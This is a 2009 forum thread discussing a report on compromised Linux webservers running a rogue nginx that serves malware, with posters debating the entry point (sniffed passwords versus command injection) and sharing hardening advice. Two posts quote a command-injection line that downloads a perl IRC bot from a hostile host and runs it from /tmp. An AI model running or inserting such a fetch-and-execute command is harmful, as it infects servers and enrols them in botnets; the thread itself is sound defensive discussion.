# Linux webserver botnet pushes malware



## DutchDaemon (Sep 12, 2009)

> A security researcher has discovered a cluster of infected Linux servers that have been corralled into a special ops botnet of sorts and used to distribute malware to unwitting people browsing the web.
> 
> Each of the infected machines examined so far is a dedicated or virtual dedicated server running a legitimate website, Denis Sinegubko, an independent researcher based in Magnitogorsk, Russia, told The Register. But in addition to running an Apache webserver to dish up benign content, they've also been hacked to run a second webserver known as nginx, which serves malware.





> Sinegubko speculates they belong to careless administrators who allowed *their root passwords* to be sniffed.



Story.


----------



## SirDice (Sep 12, 2009)

> Sinegubko speculates they belong to careless administrators who allowed their root passwords to be sniffed.


That's BS. The sites are probably pwned via a vulnerable web application that allows command injection (several CMS and forums seem to suffer from this). The rogue webserver runs on port 8080. No need for root, even the nobody/www account can run that without any problems.

Careless administrators, yes. But mainly because they didn't update their vulnerable web application.


----------



## Eponasoft (Sep 12, 2009)

Could be a combination of the two. It wouldn't be the first time a server was compromised because some chump admin used his birthday or his first name as the root password.


----------



## SirDice (Sep 12, 2009)

Eponasoft said:
			
		

> Could be a combination of the two.


Why bother cracking the root password when the nobody account will do just fine?


----------



## Eponasoft (Sep 12, 2009)

I'd like to think that admins who keep their services up to date also use a proper password, but they're only human after all. If they can't exploit a vulnerable application, then crack the root password. That's what I mean by a combination of the two.


----------



## SirDice (Sep 12, 2009)

It's a case of 'low hanging fruit'. They scan for a certain vulnerability for which they have an exploit. If it doesn't work they just move on to the next. Most of the scanning is done automatically.


----------



## anomie (Sep 13, 2009)

The full paragraph from the article reads: 


> It's unclear exactly how the servers have become infected. Sinegubko speculates they belong to careless administrators who allowed their root passwords to be sniffed. Indeed, the part of the multi-staged attack that plants malicious iframes into legitimate webpages uses FTP passwords that have been stolen using password sniffers. It's likely the zombie servers were compromised in the same fashion, he explained.



To me this implies that they're deducing root ftp sessions were sniffed and the passwords were retrieved that way. If that's the case, this is very sloppy sysadmin behavior (rather than a fundamental OS-level Linux problem). 

More evidence of sloppy behavior: 

 Presumably a root ssh session was started up at some time by the crackers; if so, why was this not detected? And why was root allowed to log in at all over ssh? 
 The rogue httpd server ran on 8080; why were inbound connections not filtered by a network firewall or host-level firewall? Why was the new daemon not detected? 
 Presumably the rogue httpd server left some sort of filesystem footprint; why did this not trigger a HIDS alarm?

There are most likely a dozen ways this exploit could have been prevented and/or detected by a _competent_ sysadmin.


----------



## anomie (Sep 13, 2009)

SirDice said:
			
		

> The rogue webserver runs on port 8080. No need for root, even the nobody/www account can run that without any problems.



That's possible, but this is from the researcher's blog (linked to in the article):


> On all hacked servers, the web server that works on port 8080 identifies itself as nginx while the legitimate web servers on port 80 are different versions of Apache. If itâ€™s really nginx (why not? itâ€™s a lightweight webserver), hackers should be able download source files, compile and install nginx â€“ something that requires shell access with root privileges.



I'm not sure I agree with his conclusion, based on what has been described. But it also may be the case that there is information he knows and has not shared yet.


----------



## SirDice (Sep 13, 2009)

If I'm not mistaken nginx is a single executable file that's able to serve web pages. There would be no need to install anything. Just drop that file somewhere the nobody user can write to (like /tmp) and run it from there.


----------



## Alt (Sep 13, 2009)

anomie said:
			
		

> [*] Presumably a root ssh session was started up at some time by the crackers; if so, why was this not detected? And why was root allowed to log in at all over ssh?


This is crappy linux machines many of them allow ssh root login by default.



			
				anomie said:
			
		

> [*] The rogue httpd server ran on 8080; why were inbound connections not filtered by a network firewall or host-level firewall? Why was the new daemon not detected?


Why not if they got root?


2SirDice:

```
# pkg_info -L nginx-0.7.61_1
Information for nginx-0.7.61_1:

Files:
/usr/local/etc/nginx/fastcgi_params
/usr/local/etc/nginx/koi-utf
/usr/local/etc/nginx/koi-win
/usr/local/etc/nginx/win-utf
/usr/local/etc/nginx/mime.types-dist
/usr/local/etc/nginx/nginx.conf-dist
/usr/local/www/nginx-dist/EXAMPLE_DIRECTORY-DONT_ADD_OR_TOUCH_ANYTHING
/usr/local/www/nginx-dist/index.html
/usr/local/www/nginx-dist/50x.html
/usr/local/sbin/nginx
/usr/local/lib/perl5/site_perl/5.8.9/mach/auto/nginx/nginx.so
/usr/local/lib/perl5/site_perl/5.8.9/mach/auto/nginx/nginx.bs
/usr/local/lib/perl5/site_perl/5.8.9/mach/nginx.pm
/usr/local/etc/rc.d/nginx
```
Yes seems it is able to work without installation since its designed as lightweight server. Its open and everybody can try/read docs about it.

I think the way more interestent question is how they 'sniffed' root passwords :\ They are matching ftp passwords or whatever?


----------



## SirDice (Sep 13, 2009)

If they used some command injection or remote file inclusion vulnerability there would be no need for any root password. I've seen very complex php scripts used in remote file inclusion attacks. These scripts allow you to download files to the webserver and run them. 

I've also seen simple command injection attacks using a simple command line like:

```
cd /tmp; wget http://hostile.server.org/a.txt; perl a.txt
```
The a.txt file was a perl IRC bot used to command the zombie. There's no reason why this couldn't be amended to also download nginx.


----------



## Eponasoft (Sep 13, 2009)

Disabling root ssh login is one of the very first things you should do on any new box. When we were using RHE, it was enabled by default and had to be disabled. I believe it was the same way with our CentOS-based servers too. There are also ways to secure wget that admins should do..."nobody" should never be allowed to execute wget, and /tmp should likewise be locked down. There seem to be a lot of sysadmins out there who are fresh out of college and lack the experience to know squat about security...and since they don't get paid a lot, they get the big jobs. Words of wisdom: don't be cheap when it comes to hiring a sysadmin.


----------



## SirDice (Sep 13, 2009)

A good security measure is to mount /tmp non-exec and non-suid.


----------



## Alt (Sep 13, 2009)

```
cd /tmp; wget http://hostile.server.org/a.txt; perl a.txt
```
Seems there is no matter noexec or not


----------



## fronclynne (Sep 14, 2009)

SirDice said:
			
		

> A good security measure is to mount /tmp non-exec and non-suid.


Make sure you set $TMPDIR to something else when installing world, then.


----------

